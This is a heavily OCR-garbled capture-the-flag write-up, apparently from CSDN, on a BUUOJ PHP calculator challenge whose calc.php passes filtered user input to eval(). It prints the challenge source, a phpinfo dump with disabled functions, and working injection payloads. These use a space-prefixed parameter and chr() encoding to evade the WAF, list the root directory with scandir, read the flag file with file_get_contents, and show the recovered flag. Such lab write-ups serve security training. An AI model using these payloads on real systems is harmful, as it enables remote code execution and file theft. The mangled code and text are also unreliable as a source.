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<html><head><meta http-equiv="Content-Type” content="text/html; charset=ITF-8">
<titleFBEHNEE il

<link rel="stylesheet” href=", /1ibs/bootstrap. min css”>
Cocript sre=",/1ibs/jquer; 8" ><fseript>
<script src="./1ibs/bootstrap. min. <{/seript>

9| {/head>

10 | <body>

2

3

4

5 <meta name="viewport” content="width=device-width, initial-scale=1">
8 p 7

7

8

12 <div class="container text-centsr” style="margin-teop:30px;”>
13 aDFEIGn
14 Cform id="calc”>

15 <div clase="form-group”>

16 <input type="text’ class="form-contral” id="content” placeholder="§i ATET" data-com agilebits. onepassword. user-edited="yes">
17 <fdiv>

18 <div id="result”>Cdiv class="alert alert-success”>

19 <faivd</div>

20 Cutton type="submit’ claze="bitn btn-primary’ >HEC button>

21 <ftorm

22 </div>

23[XI=-T've oot up WA to ensure security. ——
24| <script>

25| $C #eale’ ). submit(function() {

26 $.ajax({

27 url:"sale, php?nune " +encodelRIComponent (3 (" #oantent ). val ()
28 typegfeET’,

29 ess: function(data) {

30 §("#result”). hinl ( <div class="alert alert-success”>
31 Cstrong B2 (strong>d [datal

32 iy ),

33 ,

34 error:function() {

35 alert ("EIETEAE )

36 3

37 1

38 return false;

39

40| </script>
41

42| </body></html >
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<Tphp

error_reporting(0);

if (lisset (§_GETL mm' 120 {
show_source (__FILE_);

Yelse{
gstr = §6BT[ mm' ]
Sblacklist = [0 7, “N7, "%, AW NT, T, T AL, AR WL N
foreach (fblacklist as Fblackitem) [
if (prez_match(’ /" . $blackitem . ’/m, §str)) {
, die("vhat are you want to do?7);
, eval Cecho '.9str.” ")
ki

CSDN @Dexret

IR U T R ) — S RN, i L% 0T N % 2 H cale.phpd Kk T4 S

SHRE — N 1Z M TUA BF phpinfo it T

(im] 403 Forbidden x 4+
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<~ C M A %% | noded.buuoj.cn:27290/calc.php?num=phpinfo()

Forbidden

You don't have permission to access /calc.php on this server.

Apache/2.4.18 (Ubuntu) Server at node4.buuoj.cn Port 27290
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Php

System Linux 3962de955a10 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC 2020
X86_64

Server APl Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path /etc/php/7.0/apache?

Loaded Configuration File

/etc/php/7.0/apache2/php.ini

Scan this dir for additional .ini files

Jetc/php/7.0/apache2/confd

Additional .ini files parsed

/ete/php/7.0/apache2/conf.d/20-iconv.
/ete/php/7.0/apache2/conf.d/20-mysq
/etc/php/7.0/apache2/conf.d/20-phari
Jetc/php/7.0/apache2/conf.d/20-readlin
/etc/php/7.0/apache2/conf.d/20-sockets.
Jetc/php/7.0/apache2/confd/20-sysvse
/etc/php/7.0/apache2/conf.d/20-tokenizerini

/etc/php/7.0/apache2/confd/10-mysqlnd.ini, /etc/php/7.0/apache2/conf.d/10-opcache.ini,
Jetc/php/7.0/apache2/conf.d/10-pdo.ini, /etc/php/7.0/apache2/conf.d/20-calendarini,
Jetc/php/7.0/apache2/conf.d/20-ctype.ini, /etc/php/7.0/apache2/conf.d/20-curl.ini,
Jetc/php/7.0/apache?/conf.d/20-exifini, /etc/php/7.0/apache2/confd/20-fileinfo.ini,
/etc/php/7.0/apache?/conf.d/20-ftp.ini, /etc/php/7.0/apache2/confd/20-gettext.ini,
Jete/php/7.0/apache2/confd/20-json.ini,

, /etc/php/7.0/apache2/conf.d/20-pdo_mysglini,
, /etc/php/7.0/apache2/conf.d/20-posix.ini
Jetc/php/7.0/apache2/cont.d/20-shmop.ini
i, /etc/php/7.0/apache2/conf.d/20-sysvmsg.i
ni, /etc/php/7.0/apache2/conf.d/20-sysvshm.ini,

PHP API 20151012
PHP Extension 20151012
Zend Extension 320151012

Zend Extension Build

API320151012,NTS

PHP Extension Build

API20151012,NTS

Debug Build no

Thread Safety disabled

Zend Signal Handling disabled

Zend Memory Manager enabled

Zend Multibyte Support disabled

IPv6 Support enabled

DTrace Support available, disabled

Reaistered PHP Streams

#% — Ndisable_functions, &% 2% kLt o5 51

< > O @ A TZ% | noded.buuoj.cn:27290/calc.php?%20num=phpinfo()
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‘ PHP Version

‘ 7.0.30-0ubuntu0.16.04.1

allow_url fopen on on
allow_url_include Off off
arg_separator.input & &
arg_separator.output & &
auto_append file no value no value
auto_globals_jit on on
auto_prepend file no value no value
browscap no value no value
default_charset UTF-8 UTF-8
default_mimetype text/html text/html
disable_classes 2ol naal

disable_functions

passthru,exec,system,chroot.chgrp,chown,shell_exec
.proc_open,proc_get status,popen,ini_alterini_restor
dl,openlag,syslog,readlink,symlink,

passthru,exec,system,chroot,chgrp,chown shell_exec
.proc_open,proc_get status,popen,ini_alterini_restor

hru,s
tream_socket_server,chdirpent]_alarm,pentl_fork,pel

tl_waitpid,pentl_wait,pentl_wifexited pentl_wifstoppe
d,pentl_wifsignaled, pentl_ wifeontinued,pent] wesxitst
atus,pent]_wtermsig, pentl_wstopsig,pentl signal,pen
tl_signal_get_handler,pcntl_signal_dispatch,pcntl_get
_last_error,pentl_strerror,pcntl_sigprocmask, pentl_sig
waitinfo,pentl_sigtimedwait, pcntl_exec,pentl_getprio
rity,pentl_setpriority,putenv,opendirimap_open,mail,
imap_mail ini_set,apache_setenvink,

dl,openlog,syslog, readlink,symlink,
tream_socket_server,chdirpcnt!_alarm,pentl_fork,pen
tl_waitpid,pentl_ wait,pentl wifexited, pentl_wifstoppe
d,pentl_wifsignaled,pentl wifcontinued,pent] wexitst
atus,pentl_wtermsig,pentl_wstopsig,pentl_signal,pen
tl_signal_get_handler,pcntl_signal_dispatch,pcntl_get
_last_error,pentl_strerror,pentl_sigprocmask, pentl_sig
waitinfo,pcntl_sigtimedwait,pcntl_exec,pentl_getprio
rity,pentl_setpriority,putenv,opendirimap_open, mail,
imap_mail ini_setapache_setenvink,

RZREHAA T T, (HREEAscandir()ef £ n] LLH]

[display errors O (S]i]
display_startup_errors off Off
doc_root no value no value
docref_ext 1o value no value
docref root no value no value
enable_dl off off
enable post data_reading On Oon
error append string no value no value
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O M @ httpsy//www.w3school.com.cn/php/func_directory_scandir.asp
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iBER PHP scandir() &2 -
PHP HEi#E '
s PHP Directory B =k
PHP 3
PHPEIZ i) __
PHP =B

PHP Echo / Print

Pl images BRFEIHNER:

PHP $im2eR)
<?php

PHP SEER $dir = "/images/";
PHP B2

iE /1 VAFHRRHERR - BRA
PHP EEHF 11 VIFHFFHH ERA

= $a = scandir($dir);
PHP If..Else
PHP Switch /7 LIBERRHERE
PHP While /%% $b = scandir($dir,1);
PHP For {BZR E—
PHP &2 print_r($b);
PHP 5A >
PHP 324EHF
PHP B2 g,
PHP &
PHP sEEaghE f;\rr‘ay
PHP =EIITE [e] => .
PHP SR [ = ..
PHP 32 URL/E-mail [2] => cat.gif

. [3] => dog.gif
Prp ez [4] => horse.gif
PHP S3is [5] => myimages
)
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{2 X hwaffA7E, (FRZF/HHTIEMAH, XEHET —NE T — FRERwp), FRATAT LAFIF chrig 2o 34
BTG, (HREEphp ERAIAREE 5, EHvar_dumpii & print_r, XA &5 H AT LA flagdT BN HY

3k, print_rfilvar_dump#B&ES B H AT R, (Hprint_ ot AR R B H R K BIE: var_ dumpiin i LR R, —
R AR 1S A 2

#Jit payload

/calc.php?%20num=var_dump(scandir(chr(47)))

<~ C ® A %% | noded.buuoj.cn27290/calc.php?%20num=var_dump(scandir(chr(47))) 78 ,E‘ m 9 & <= :
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev".[6]=> string(3) "etc" [7].=> string(p) "flagg” J=>
string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media” [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc” [15]=> string(4) "roo’ 6= ring(3)

"run” [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

FEX PEF| [ flagg, MiZ A fiflagh (e

F|Hifile_get_contents()i# 172 HL
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/calc.php?%20num=file_get_ contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

<« C A A FE2 | nodedbuuoj.cn:25457/calc php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) OB G B B S G

flag{208301f8-9995-4bce-905¢-150c1a94dch2}

F 3z flag

flag{20830118-9995-4bce-905c-150c1la94dcb2}
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